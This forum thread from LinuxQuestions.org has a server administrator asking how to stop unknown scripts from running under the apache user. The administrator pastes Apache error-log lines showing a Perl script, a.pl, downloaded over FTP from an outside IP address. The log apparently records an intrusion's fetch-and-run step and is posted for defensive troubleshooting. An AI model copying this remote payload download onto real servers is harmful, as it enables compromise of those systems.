LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Server
User Name
Password
Linux - Server This forum is for the discussion of Linux Software used in a server related context.

Notices


Reply
  Search this Thread
Old 04-17-2011, 08:36 AM   #1
asim.mcp
LQ Newbie
 
Registered: Oct 2006
Posts: 28

Rep: Reputation: 15
Question stop scripts execution using apache


Hi,

Someone/one or more internal process is executing script and running those under login apache. These scripts are being uploaded under /tmp, I've stopped executing under /tmp but that person or process is now calling directly calling apache to execute those script. Here are the logs of /var/log/httpd/error_log file

Code:
--02:58:21--  ftp://coreyrudlprod:*password*@72.167.232.36/a.pl
           => `a.pl'
Connecting to 72.167.232.36:21... connected.
Logging in as coreyrudlprod ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE a.pl ... 18518
==> PASV ... done.    ==> RETR a.pl ... done.
Length: 18518 (18K)

     0K .......... ........                                   100% 21.1K=0.9s

02:58:25 (21.1 KB/s) - `a.pl' saved [18518]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 18518  100 18518    0     0   4589      0  0:00:04  0:00:04 --:--:-- 20641
sh: fetch: command not found
--02:58:41--  ftp://coreyrudlprod:*password*@72.167.232.36/a.pl
           => `a.pl.1'
Connecting to 72.167.232.36:21... connected.
Logging in as coreyrudlprod ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE a.pl ... 18518
==> PASV ... done.    ==> RETR a.pl ... done.
Length: 18518 (18K)

     0K .......... ........                                   100% 15.6K=1.2s

02:58:45 (15.6 KB/s) - `a.pl.1' saved [18518]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 18518  100 18518    0     0   4271      0  0:00:04  0:00:04 --:--:-- 15530
sh: fetch: command not foundPlease help to resolve this issue.
Logs show that these are being uploaded by someone. Please help to resolve this issue.
 
Old 04-17-2011, 11:08 AM   #2
asim.mcp
LQ Newbie
 
Registered: Oct 2006
Posts: 28

Original Poster
Rep: Reputation: 15
Anyone please help.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
how to stop execution of a program if it is already running? kkpal Linux - Newbie 8 07-23-2008 12:52 PM
KNetworkManager and Shell Scripts ~ lost in execution. javaguy78 Linux - Hardware 0 07-17-2006 12:50 AM
LXer: Adodb Multiple Test Scripts Remote Command Execution ... LXer Syndicated Linux News 0 01-09-2006 06:01 PM
Parallel Execution Capable Scripts? irfanhab Programming 5 08-28-2004 06:04 AM
Execution of PERL scripts in Linux which is compiled in WINDOWs environment to_veera Linux - Software 3 06-18-2004 08:50 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Server

All times are GMT -5. The time now is 05:48 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration